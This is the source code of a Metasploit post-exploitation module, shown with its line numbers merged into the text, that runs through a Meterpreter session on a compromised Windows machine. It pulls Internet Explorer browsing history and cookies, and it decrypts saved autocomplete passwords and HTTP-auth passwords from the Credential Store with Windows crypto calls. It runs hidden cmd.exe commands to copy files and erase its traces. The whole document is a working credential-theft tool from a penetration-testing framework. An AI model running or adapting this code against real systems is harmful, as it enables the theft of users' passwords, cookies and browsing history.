Path: blob/master/modules/post/windows/gather/enum_ie.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Registry89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Internet Explorer User Data Enumeration',14'Description' => %q{15This module will collect history, cookies, and credentials (from either HTTP16auth passwords, or saved form passwords found in auto-complete) in17Internet Explorer. The ability to gather credentials is only supported18for versions of IE >=7, while history and cookies can be extracted for all19versions.20},21'License' => MSF_LICENSE,22'Platform' => ['win'],23'SessionTypes' => ['meterpreter'],24'Author' => ['Kx499'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29},30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33core_channel_eof34core_channel_open35core_channel_read36core_channel_write37stdapi_fs_stat38stdapi_railgun_api39stdapi_sys_config_getenv40stdapi_sys_config_sysinfo41stdapi_sys_process_attach42stdapi_sys_process_execute43stdapi_sys_process_get_processes44stdapi_sys_process_memory_allocate45stdapi_sys_process_memory_read46stdapi_sys_process_memory_write47]48}49}50)51)52end5354#55# RAILGUN HELPER FUNCTIONS56#57def is_8658pid = session.sys.process.open.pid59return session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'60end6162def pack_add(data)63if is_8664addr = [data].pack('V')65else66addr = [data].pack('Q<')67end68return addr69end7071def mem_write(data, length)72pid = session.sys.process.open.pid73process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)74mem = process.memory.allocate(length)75process.memory.write(mem, data)76return mem77end7879def read_str(address, len, type)80begin81pid = session.sys.process.open.pid82process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)83raw = process.memory.read(address, len)84if type == 0 # unicode85str_data = raw.gsub("\x00", '')86elsif type == 1 # null terminated87str_data = raw.unpack('Z*')[0]88elsif type == 2 # raw data89str_data = raw90end91rescue StandardError92str_data = nil93end94return str_data || 'Error Decrypting'95end9697#98# DECRYPT FUNCTIONS99#100def decrypt_reg(entropy, data)101c32 = session.railgun.crypt32102# set up entropy103salt = []104entropy.each_byte do |c|105salt << c106end107ent = salt.pack('v*')108109# save values to memory and pack addresses110mem = mem_write(data, 1024)111mem2 = mem_write(ent, 1024)112addr = pack_add(mem)113len = pack_add(data.length)114eaddr = pack_add(mem2)115elen = pack_add((entropy.length + 1) * 2)116117# cal railgun to decrypt118if is_86119ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)120len, add = ret['pDataOut'].unpack('V2')121else122ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)123len, add = ret['pDataOut'].unpack('Q2')124end125126return '' unless ret['return']127128return read_str(add, len, 2)129end130131def decrypt_cred(daddr, dlen)132c32 = session.railgun.crypt32133# set up entropy134guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'135ent_sz = 74136salt = []137guid.each_byte do |c|138salt << c * 4139end140ent = salt.pack('v*')141142# write entropy to memory and pack addresses143mem = mem_write(ent, 1024)144addr = pack_add(daddr)145len = pack_add(dlen)146eaddr = pack_add(mem)147elen = pack_add(ent_sz)148149# prep vars and call function150if is_86151ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)152len, add = ret['pDataOut'].unpack('V2')153else154ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)155len, add = ret['pDataOut'].unpack('Q<2')156end157158# get data, and return it159return '' unless ret['return']160161return read_str(add, len, 0)162end163164#165# Extract IE Data Functions166#167def get_stuff(path, history)168t = DateTime.new(1601, 1, 1, 0, 0, 0)169tmpout = ''170if history171re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m172else # get cookies173re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m174end175176outfile = session.fs.file.new(path, 'rb')177until outfile.eof?178begin179tmpout << outfile.read180rescue StandardError181nil182end183end184outfile.close185186urls = tmpout.scan(re)187urls.each do |url|188# date modified189hist = {}190origh = url[0].unpack('H*')[0]191harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)192newh = harr.reverse.join193hfloat = newh.hex.to_f194sec = hfloat / 10000000195days = sec / 86400196timestamp = t + days197hist['dtmod'] = timestamp.to_s198199# date accessed200origh = url[1].unpack('H*')[0]201harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)202newh = harr.reverse.join203hfloat = newh.hex.to_f204sec = hfloat / 10000000205days = sec / 86400206timestamp = t + days207hist['dtacc'] = timestamp.to_s208hist['url'] = url[2]209if history210@hist_col << hist211@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]212else213@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]214end215end216end217218def hash_url(url)219rg_advapi = session.railgun.advapi32220prov = 'Microsoft Enhanced Cryptographic Provider v1.0'221context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)222h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)223rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)224hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)225hval_arr = hparam['pbData'].unpack('C*')226hval = hparam['pbData'].unpack('H*')[0]227rg_advapi.CryptDestroyHash(h['phHash'])228rg_advapi.CryptReleaseContext(context['phProv'], 0)229tail = hval_arr.inject(0) { |s, v| s + v }230htail = ('%02x' % tail)[-2, 2]231return "#{hval}#{htail}"232end233234def run235# check for meterpreter and version of ie236if (session.type != 'meterpreter') && session.platform !~ (/win/)237print_error('This module only works with Windows Meterpreter sessions')238return 0239end240241# get version of ie and check it242ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')243print_status("IE Version: #{ver}")244if ver =~ /(6\.|5\.)/245print_error('This module will only extract credentials for >= IE7')246end247248# setup tables249@hist_table = Rex::Text::Table.new(250'Header' => 'History data',251'Indent' => 1,252'Columns' => ['Date Modified', 'Date Accessed', 'Url']253)254255@cook_table = Rex::Text::Table.new(256'Header' => 'Cookies data',257'Indent' => 1,258'Columns' => ['Date Modified', 'Date Accessed', 'Url']259)260261cred_table = Rex::Text::Table.new(262'Header' => 'Credential data',263'Indent' => 1,264'Columns' => ['Type', 'Url', 'User', 'Pass']265)266267# set up vars268host = session.sys.config.sysinfo269@hist_col = []270271# set paths272regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'273vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'274vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'275xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'276vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'277vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'278xp_c = '\\Cookies\\index.dat'279h_paths = []280c_paths = []281base = session.sys.config.getenv('USERPROFILE')282if host['OS'] =~ /(Windows 7|2008|Vista)/283h_paths << base + vist_h284h_paths << base + vist_hlow285c_paths << base + vist_c286c_paths << base + vist_clow287else288h_paths << base + xp_h289c_paths << base + xp_c290end291292# Get history and cookies293print_status('Retrieving history.....')294h_paths.each do |hpath|295next unless session.fs.file.exist?(hpath)296297print_line("\tFile: #{hpath}")298# copy file299cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""300session.sys.process.execute(cmd, nil, { 'Hidden' => true })301302# loop until cmd is done303# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}304# end305sleep(1)306307# get stuff and delete308get_stuff("#{base}\\index.dat", true)309cmd = "cmd.exe /c del \"#{base}\\index.dat\""310session.sys.process.execute(cmd, nil, { 'Hidden' => true })311end312313print_status('Retrieving cookies.....')314c_paths.each do |cpath|315next unless session.fs.file.exist?(cpath)316317print_line("\tFile: #{cpath}")318# copy file319cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""320session.sys.process.execute(cmd, nil, { 'Hidden' => true })321322# loop until cmd is done323# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}324# end325sleep(1)326327# get stuff and delete328get_stuff("#{base}\\index.dat", false)329cmd = "cmd.exe /c del \"#{base}\\index.dat\""330session.sys.process.execute(cmd, nil, { 'Hidden' => true })331end332333# get autocomplete creds334print_status('Looping through history to find autocomplete data....')335val_arr = registry_enumvals(regpath)336if val_arr337@hist_col.each do |hitem|338url = hitem['url'].split('?')[0].downcase339hash = hash_url(url).upcase340next unless val_arr.include?(hash)341342data = registry_getvaldata(regpath, hash)343dec = decrypt_reg(url, data)344345# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up346# returning an array of nils. If this happens, we can cause an "undefined method347# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.348next if dec.empty?349350# decode data and add to creds array351header = dec.unpack('VVVVVV')352353offset = header[0] + header[1] # offset to start of data354cnt = header[5] / 2 # of username/password combinations355secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")356for i in (0..cnt).step(2)357cred = {}358cred['type'] = 'Auto Complete'359cred['url'] = url360cred['user'] = secrets[i].gsub("\x00", '')361cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?362cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]363end364end365else366print_error('No autocomplete entries found in registry')367end368369# get creds from credential store370print_status('Looking in the Credential Store for HTTP Authentication Creds...')371# get data from credential store372ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)373p_to_arr = ret['Credentials'].unpack('V')374arr_len = ret['Count'] * 4 if is_86375arr_len = ret['Count'] * 8 unless is_86376377# read array of addresses as pointers to each structure378raw = read_str(p_to_arr[0], arr_len, 2)379pcred_array = raw.unpack('V*') if is_86380pcred_array = raw.unpack('Q<*') unless is_86381382# loop through the addresses and read each credential structure383pcred_array.each do |pcred|384raw = read_str(pcred, 52, 2)385cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86386cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86387388location = read_str(cred_struct[2], 512, 1)389next unless location.include? 'Microsoft_WinInet'390391decrypted = decrypt_cred(cred_struct[6], cred_struct[5])392cred = {}393cred['type'] = 'Credential Store'394cred['url'] = location.gsub('Microsoft_WinInet_', '')395cred['user'] = decrypted.split(':')[0] || 'No Data'396cred['pass'] = decrypted.split(':')[1] || 'No Data'397cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]398end399400# store data in loot401if !@hist_table.rows.empty?402print_status('Writing history to loot...')403path = store_loot(404'ie.history',405'text/plain',406session,407@hist_table,408'ie_history.txt',409'Internet Explorer Browsing History'410)411print_good("Data saved in: #{path}")412end413414if !@cook_table.rows.empty?415print_status('Writing cookies to loot...')416path = store_loot(417'ie.cookies',418'text/plain',419session,420@cook_table,421'ie_cookies.txt',422'Internet Explorer Cookies'423)424print_good("Data saved in: #{path}")425end426427if !cred_table.rows.empty?428print_status('Writing gathered credentials to loot...')429path = store_loot(430'ie.user.creds',431'text/plain',432session,433cred_table,434'ie_creds.txt',435'Internet Explorer User Credentials'436)437438print_good("Data saved in: #{path}")439# print creds440print_line('')441print_line(cred_table.to_s)442end443end444end445446447